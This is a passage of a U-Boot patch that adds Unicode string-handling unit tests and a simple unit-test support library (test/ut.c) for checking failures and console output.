+ ut_asserteq_str(d3, buf);
+
+ pos = buf;
+ utf16_utf8_strcpy(&pos, c4);
+ ut_asserteq(12, pos - buf);
+ ut_asserteq_str(d4, buf);
+
+ /* Illegal utf-16 strings */
+ pos = buf;
+ utf16_utf8_strcpy(&pos, i1);
+ ut_asserteq(4, pos - buf);
+ ut_asserteq_str("i1?l", buf);
+
+ pos = buf;
+ utf16_utf8_strcpy(&pos, i2);
+ ut_asserteq(4, pos - buf);
+ ut_asserteq_str("i2?l", buf);
+
+ pos = buf;
+ utf16_utf8_strcpy(&pos, i3);
+ ut_asserteq(3, pos - buf);
+ ut_asserteq_str("i3?", buf);
+
+ return 0;
+}
+UNICODE_TEST(unicode_test_utf16_utf8_strcpy);
+
+static int unicode_test_utf16_utf8_strncpy(struct unit_test_state *uts)
+{
+ char buf[16];
+ char *pos;
+
+ pos = buf;
+ memset(buf, 0, sizeof(buf));
+ utf16_utf8_strncpy(&pos, c1, 4);
+ ut_asserteq(4, pos - buf);
+ ut_assert(!buf[4]);
+ ut_assert(!strncmp(buf, d1, 4));
+
+ pos = buf;
+ memset(buf, 0, sizeof(buf));
+ utf16_utf8_strncpy(&pos, c2, 10);
+ ut_asserteq(9, pos - buf);
+ ut_assert(buf[4]);
+ ut_assert(!strncmp(buf, d2, SIZE_MAX));
+
+ pos = buf;
+ memset(buf, 0, sizeof(buf));
+ utf16_utf8_strncpy(&pos, c3, 2);
+ ut_asserteq(6, pos - buf);
+ ut_assert(!buf[6]);
+ ut_assert(!strncmp(buf, d3, 6));
+
+ pos = buf;
+ memset(buf, 0, sizeof(buf));
+ utf16_utf8_strncpy(&pos, c4, 2);
+ ut_asserteq(8, pos - buf);
+ ut_assert(!buf[8]);
+ ut_assert(!strncmp(buf, d4, 8));
+
+ pos = buf;
+ memset(buf, 0, sizeof(buf));
+ utf16_utf8_strncpy(&pos, c4, 10);
+ ut_asserteq(12, pos - buf);
+ ut_assert(buf[5]);
+ ut_assert(!strncmp(buf, d4, SIZE_MAX));
+
+ return 0;
+}
+UNICODE_TEST(unicode_test_utf16_utf8_strncpy);
+
+static int unicode_test_utf_to_lower(struct unit_test_state *uts)
+{
+ ut_asserteq('@', utf_to_lower('@'));
+ ut_asserteq('a', utf_to_lower('A'));
+ ut_asserteq('z', utf_to_lower('Z'));
+ ut_asserteq('[', utf_to_lower('['));
+ ut_asserteq('m', utf_to_lower('m'));
+ /* Latin letter O with diaresis (umlaut) */
+ ut_asserteq(0x00f6, utf_to_lower(0x00d6));
+#ifdef CONFIG_EFI_UNICODE_CAPITALIZATION
+ /* Cyrillic letter I*/
+ ut_asserteq(0x0438, utf_to_lower(0x0418));
+#endif
+ return 0;
+}
+UNICODE_TEST(unicode_test_utf_to_lower);
+
+static int unicode_test_utf_to_upper(struct unit_test_state *uts)
+{
+ ut_asserteq('`', utf_to_upper('`'));
+ ut_asserteq('A', utf_to_upper('a'));
+ ut_asserteq('Z', utf_to_upper('z'));
+ ut_asserteq('{', utf_to_upper('{'));
+ ut_asserteq('M', utf_to_upper('M'));
+ /* Latin letter O with diaresis (umlaut) */
+ ut_asserteq(0x00d6, utf_to_upper(0x00f6));
+#ifdef CONFIG_EFI_UNICODE_CAPITALIZATION
+ /* Cyrillic letter I */
+ ut_asserteq(0x0418, utf_to_upper(0x0438));
+#endif
+ return 0;
+}
+UNICODE_TEST(unicode_test_utf_to_upper);
+
+static int unicode_test_u16_strcasecmp(struct unit_test_state *uts)
+{
+ ut_assert(u16_strcasecmp(u"abcd", u"abcd") == 0);
+ ut_assert(u16_strcasecmp(u"aBcd", u"abcd") == 0);
+ ut_assert(u16_strcasecmp(u"abcd", u"abCd") == 0);
+ ut_assert(u16_strcasecmp(u"abcdE", u"abcd") > 0);
+ ut_assert(u16_strcasecmp(u"abcd", u"abcdE") < 0);
+ ut_assert(u16_strcasecmp(u"abcE", u"abcd") > 0);
+ ut_assert(u16_strcasecmp(u"abcd", u"abcE") < 0);
+ ut_assert(u16_strcasecmp(u"abcd", u"abcd") == 0);
+ ut_assert(u16_strcasecmp(u"abcd", u"abcd") == 0);
+ if (CONFIG_IS_ENABLED(EFI_UNICODE_CAPITALIZATION)) {
+ /* Cyrillic letters */
+ ut_assert(u16_strcasecmp(u"\x043a\x043d\x0438\x0433\x0430",
+ u"\x041a\x041d\x0418\x0413\x0410") == 0);
+ ut_assert(u16_strcasecmp(u"\x043a\x043d\x0438\x0433\x0430",
+ u"\x041a\x041d\x0418\x0413\x0411") < 0);
+ ut_assert(u16_strcasecmp(u"\x043a\x043d\x0438\x0433\x0431",
+ u"\x041a\x041d\x0418\x0413\x0410") > 0);
+ }
+
+ return 0;
+}
+UNICODE_TEST(unicode_test_u16_strcasecmp);
+
+static int unicode_test_u16_strncmp(struct unit_test_state *uts)
+{
+ ut_assert(u16_strncmp(u"abc", u"abc", 3) == 0);
+ ut_assert(u16_strncmp(u"abcdef", u"abcghi", 3) == 0);
+ ut_assert(u16_strncmp(u"abcdef", u"abcghi", 6) < 0);
+ ut_assert(u16_strncmp(u"abcghi", u"abcdef", 6) > 0);
+ ut_assert(u16_strcmp(u"abc", u"abc") == 0);
+ ut_assert(u16_strcmp(u"abcdef", u"deghi") < 0);
+ ut_assert(u16_strcmp(u"deghi", u"abcdef") > 0);
+ return 0;
+}
+UNICODE_TEST(unicode_test_u16_strncmp);
+
+static int unicode_test_u16_strsize(struct unit_test_state *uts)
+{
+ ut_asserteq_64(u16_strsize(c1), 14);
+ ut_asserteq_64(u16_strsize(c2), 18);
+ ut_asserteq_64(u16_strsize(c3), 8);
+ ut_asserteq_64(u16_strsize(c4), 14);
+ return 0;
+}
+UNICODE_TEST(unicode_test_u16_strsize);
+
+static int unicode_test_utf_to_cp(struct unit_test_state *uts)
+{
+ int ret;
+ s32 c;
+
+ c = '\n';
+ ret = utf_to_cp(&c, codepage_437);
+ ut_asserteq(0, ret);
+ ut_asserteq('\n', c);
+
+ c = 'a';
+ ret = utf_to_cp(&c, codepage_437);
+ ut_asserteq(0, ret);
+ ut_asserteq('a', c);
+
+ c = 0x03c4; /* Greek small letter tau */
+ ret = utf_to_cp(&c, codepage_437);
+ ut_asserteq(0, ret);
+ ut_asserteq(0xe7, c);
+
+ c = 0x03a4; /* Greek capital letter tau */
+ ret = utf_to_cp(&c, codepage_437);
+ ut_asserteq(-ENOENT, ret);
+ ut_asserteq('?', c);
+
+ return 0;
+}
+UNICODE_TEST(unicode_test_utf_to_cp);
+
+static void utf8_to_cp437_stream_helper(const char *in, char *out)
+{
+ char buffer[5];
+ int ret;
+
+ *buffer = 0;
+ for (; *in; ++in) {
+ ret = utf8_to_cp437_stream(*in, buffer);
+ if (ret)
+ *out++ = ret;
+ }
+ *out = 0;
+}
+
+static int unicode_test_utf8_to_cp437_stream(struct unit_test_state *uts)
+{
+ char buf[16];
+
+ utf8_to_cp437_stream_helper(d1, buf);
+ ut_asserteq_str("U-Boot", buf);
+ utf8_to_cp437_stream_helper(d2, buf);
+ ut_asserteq_str("kafb\xa0tur", buf);
+ utf8_to_cp437_stream_helper(d5, buf);
+ ut_asserteq_str("? is not B", buf);
+ utf8_to_cp437_stream_helper(j2, buf);
+ ut_asserteq_str("j2l", buf);
+
+ return 0;
+}
+UNICODE_TEST(unicode_test_utf8_to_cp437_stream);
+
+static void utf8_to_utf32_stream_helper(const char *in, s32 *out)
+{
+ char buffer[5];
+ int ret;
+
+ *buffer = 0;
+ for (; *in; ++in) {
+ ret = utf8_to_utf32_stream(*in, buffer);
+ if (ret)
+ *out++ = ret;
+ }
+ *out = 0;
+}
+
+static int unicode_test_utf8_to_utf32_stream(struct unit_test_state *uts)
+{
+ s32 buf[16];
+
+ const u32 u1[] = {0x55, 0x2D, 0x42, 0x6F, 0x6F, 0x74, 0x0000};
+ const u32 u2[] = {0x6B, 0x61, 0x66, 0x62, 0xE1, 0x74, 0x75, 0x72, 0x00};
+ const u32 u3[] = {0x6f5c, 0x6c34, 0x8266};
+ const u32 u4[] = {0x6A, 0x32, 0x6C, 0x00};
+ const u32 u5[] = {0x0392, 0x20, 0x69, 0x73, 0x20, 0x6E, 0x6F, 0x74,
+ 0x20, 0x42, 0x00};
+
+ memset(buf, 0, sizeof(buf));
+ utf8_to_utf32_stream_helper(d1, buf);
+ ut_asserteq_mem(u1, buf, sizeof(u1));
+
+ memset(buf, 0, sizeof(buf));
+ utf8_to_utf32_stream_helper(d2, buf);
+ ut_asserteq_mem(u2, buf, sizeof(u2));
+
+ memset(buf, 0, sizeof(buf));
+ utf8_to_utf32_stream_helper(d3, buf);
+ ut_asserteq_mem(u3, buf, sizeof(u3));
+
+ memset(buf, 0, sizeof(buf));
+ utf8_to_utf32_stream_helper(d5, buf);
+ ut_asserteq_mem(u5, buf, sizeof(u5));
+
+ memset(buf, 0, sizeof(buf));
+ utf8_to_utf32_stream_helper(j2, buf);
+ ut_asserteq_mem(u4, buf, sizeof(u4));
+
+ return 0;
+}
+UNICODE_TEST(unicode_test_utf8_to_utf32_stream);
+
+#ifdef CONFIG_EFI_LOADER
+static int unicode_test_efi_create_indexed_name(struct unit_test_state *uts)
+{
+ u16 buf[16];
+ u16 const expected[] = u"Capsule0AF9";
+ u16 *pos;
+
+ memset(buf, 0xeb, sizeof(buf));
+ pos = efi_create_indexed_name(buf, sizeof(buf), "Capsule", 0x0af9);
+
+ ut_asserteq_mem(expected, buf, sizeof(expected));
+ ut_asserteq(pos - buf, u16_strnlen(buf, SIZE_MAX));
+
+ return 0;
+}
+UNICODE_TEST(unicode_test_efi_create_indexed_name);
+#endif
+
+static int unicode_test_u16_strlcat(struct unit_test_state *uts)
+{
+ u16 buf[40];
+ u16 dest[] = {0x3053, 0x3093, 0x306b, 0x3061, 0x306f, 0};
+ u16 src[] = {0x03B1, 0x2172, 0x6F5C, 0x8247, 0};
+ u16 concat_str[] = {0x3053, 0x3093, 0x306b, 0x3061, 0x306f,
+ 0x03B1, 0x2172, 0x6F5C, 0x8247, 0};
+ u16 null_src = u'\0';
+ size_t ret, expected;
+ int i;
+
+ /* dest and src are empty string */
+ memset(buf, 0, sizeof(buf));
+ ret = u16_strlcat(buf, &null_src, ARRAY_SIZE(buf));
+ ut_asserteq(0, ret);
+
+ /* dest is empty string */
+ memset(buf, 0, sizeof(buf));
+ ret = u16_strlcat(buf, src, ARRAY_SIZE(buf));
+ ut_asserteq(4, ret);
+ ut_assert(!unicode_test_u16_strcmp(buf, src, 40));
+
+ /* src is empty string */
+ memset(buf, 0xCD, (sizeof(buf) - sizeof(u16)));
+ buf[39] = 0;
+ memcpy(buf, dest, sizeof(dest));
+ ret = u16_strlcat(buf, &null_src, ARRAY_SIZE(buf));
+ ut_asserteq(5, ret);
+ ut_assert(!unicode_test_u16_strcmp(buf, dest, 40));
+
+ for (i = 0; i <= 40; i++) {
+ memset(buf, 0xCD, (sizeof(buf) - sizeof(u16)));
+ buf[39] = 0;
+ memcpy(buf, dest, sizeof(dest));
+ expected = min(5, i) + 4;
+ ret = u16_strlcat(buf, src, i);
+ ut_asserteq(expected, ret);
+ if (i <= 6) {
+ ut_assert(!unicode_test_u16_strcmp(buf, dest, 40));
+ } else if (i < 10) {
+ ut_assert(!unicode_test_u16_strcmp(buf, concat_str, i - 1));
+ } else {
+ ut_assert(!unicode_test_u16_strcmp(buf, concat_str, 40));
+ }
+ }
+
+ return 0;
+}
+UNICODE_TEST(unicode_test_u16_strlcat);
+
+int do_ut_unicode(struct cmd_tbl *cmdtp, int flag, int argc, char *const argv[])
+{
+ struct unit_test *tests = UNIT_TEST_SUITE_START(unicode_test);
+ const int n_ents = UNIT_TEST_SUITE_COUNT(unicode_test);
+
+ return cmd_ut_category("Unicode", "unicode_test_",
+ tests, n_ents, argc, argv);
+}
diff --git a/test/ut.c b/test/ut.c
new file mode 100644
index 00000000000..ae99831ac8f
--- /dev/null
+++ b/test/ut.c
@@ -0,0 +1,233 @@
+// SPDX-License-Identifier: GPL-2.0+
+/*
+ * Simple unit test library
+ *
+ * Copyright (c) 2013 Google, Inc
+ */
+
+#include <console.h>
+#include <malloc.h>
+#ifdef CONFIG_SANDBOX
+#include <asm/state.h>
+#endif
+#include <asm/global_data.h>
+#include <test/test.h>
+#include <test/ut.h>
+
+DECLARE_GLOBAL_DATA_PTR;
+
+void ut_fail(struct unit_test_state *uts, const char *fname, int line,
+ const char *func, const char *cond)
+{
+ gd->flags &= ~(GD_FLG_SILENT | GD_FLG_RECORD);
+ printf("%s:%d, %s(): %s\n", fname, line, func, cond);
+ uts->fail_count++;
+}
+
+void ut_failf(struct unit_test_state *uts, const char *fname, int line,
+ const char *func, const char *cond, const char *fmt, ...)
+{
+ va_list args;
+
+ gd->flags &= ~(GD_FLG_SILENT | GD_FLG_RECORD);
+ printf("%s:%d, %s(): %s: ", fname, line, func, cond);
+ va_start(args, fmt);
+ vprintf(fmt, args);
+ va_end(args);
+ putc('\n');
+ uts->fail_count++;
+}
+
+ulong ut_check_free(void)
+{
+ struct mallinfo info = mallinfo();
+
+ return info.uordblks;
+}
+
+long ut_check_delta(ulong last)
+{
+ return ut_check_free() - last;
+}
+
+static int readline_check(struct unit_test_state *uts)
+{
+ int ret;
+
+ ret = console_record_readline(uts->actual_str, sizeof(uts->actual_str));
+ if (ret == -ENOSPC) {
+ ut_fail(uts, __FILE__, __LINE__, __func__,
+ "Console record buffer too small - increase CONFIG_CONSOLE_RECORD_OUT_SIZE");
+ return ret;
+ }
+
+ return 0;
+}
+
+int ut_check_console_line(struct unit_test_state *uts, const char *fmt, ...)
+{
+ va_list args;
+ int len;
+ int ret;
+
+ va_start(args, fmt);
+ len = vsnprintf(uts->expect_str, sizeof(uts->expect_str), fmt, args);
+ va_end(args);
+ if (len >= sizeof(uts->expect_str)) {
+ ut_fail(uts, __FILE__, __LINE__, __func__,
+ "unit_test_state->expect_str too small");
+ return -EOVERFLOW;
+ }
+ ret = readline_check(uts);
+ if (ret < 0)
+ return ret;
+
+ return strcmp(uts->expect_str, uts->actual_str);
+}
+
+int ut_check_console_linen(struct unit_test_state *uts, const char *fmt, ...)
+{
+ va_list args;
+ int len;
+ int ret;
+
+ va_start(args, fmt);
+ len = vsnprintf(uts->expect_str, sizeof(uts->expect_str), fmt, args);
+ va_end(args);
+ if (len >= sizeof(uts->expect_str)) {
+ ut_fail(uts, __FILE__, __LINE__, __func__,
+ "unit_test_state->expect_str too small");
+ return -EOVERFLOW;
+ }
+ ret = readline_check(uts);
+ if (ret < 0)
+ return ret;
+
+ return strncmp(uts->expect_str, uts->actual_str,
+ strlen(uts->expect_str));
+}
+
+int ut_check_skipline(struct unit_test_state *uts)
+{
+ int ret;
+
+ if (!console_record_avail())
+ return -ENFILE;
+ ret = readline_check(uts);
+ if (ret < 0)
+ return ret;
+
+ return 0;
+}
+
+int ut_check_skip_to_linen(struct unit_test_state *uts, const char *fmt, ...)
+{
+ va_list args;
+ int len;
+ int ret;
+
+ va_start(args, fmt);
+ len = vsnprintf(uts->expect_str, sizeof(uts->expect_str), fmt, args);
+ va_end(args);
+ if (len >= sizeof(uts->expect_str)) {
+ ut_fail(uts, __FILE__, __LINE__, __func__,
+ "unit_test_state->expect_str too small");
+ return -EOVERFLOW;
+ }
+ while (1) {
+ if (!console_record_avail())
+ return -ENOENT;
+ ret = readline_check(uts);
+ if (ret < 0)
+ return ret;
+
+ if (!strncmp(uts->expect_str, uts->actual_str,
+ strlen(uts->expect_str)))
+ return 0;
+ }
+}
+
+int ut_check_skip_to_line(struct unit_test_state *uts, const char *fmt, ...)
+{
+ va_list args;
+ int len;
+ int ret;
+
+ va_start(args, fmt);
+ len = vsnprintf(uts->expect_str, sizeof(uts->expect_str), fmt, args);
+ va_end(args);
+ if (len >= sizeof(uts->expect_str)) {
+ ut_fail(uts, __FILE__, __LINE__, __func__,
+ "unit_test_state->expect_str too small");
+ return -EOVERFLOW;
+ }
+ while (1) {
+ if (!console_record_avail())
+ return -ENOENT;
+ ret = readline_check(uts);
+ if (ret < 0)
+ return ret;
+
+ if (!strcmp(uts->expect_str, uts->actual_str))
+ return 0;
+ }
+}
+
+int ut_check_console_end(struct unit_test_state *uts)
+{
+ int ret;
+
+ if (!console_record_avail())
+ return 0;
+ ret = readline_check(uts);
+ if (ret < 0)
+ return ret;
+
+ return 1;
+}
+
+int ut_check_console_dump(struct unit_test_state *uts, int total_bytes)
+{
+ char *str = uts->actual_str;
+ int upto;
+
+ /* Handle empty dump */
+ if (!total_bytes)
+ return 0;
+
+ for (upto = 0; upto < total_bytes;) {
+ int len;
+ int bytes;
+
+ len = console_record_readline(str, sizeof(uts->actual_str));
+ if (str[8] != ':' || str[9] != ' ')
+ return 1;
+
+ bytes = len - 8 - 2 - 3 * 16 - 2;
+ upto += bytes;
+ }
+
+ return upto == total_bytes ? 0 : 1;
+}
+
+void ut_silence_console(struct unit_test_state *uts)
+{
+#ifdef CONFIG_SANDBOX
+ struct sandbox_state *state = state_get_current();
+
+ if (!state->show_test_output)
+ gd->flags |= GD_FLG_SILENT;
+#endif
+}
+
+void ut_unsilence_console(struct unit_test_state *uts)
+{
+ gd->flags &= ~(GD_FLG_SILENT | GD_FLG_RECORD);
+}
+
+void ut_set_skip_delays(struct unit_test_state *uts, bool skip_delays)
+{
+#ifdef CONFIG_SANDBOX
+ state_set_skip_delays(skip_delays);
+#endif
+}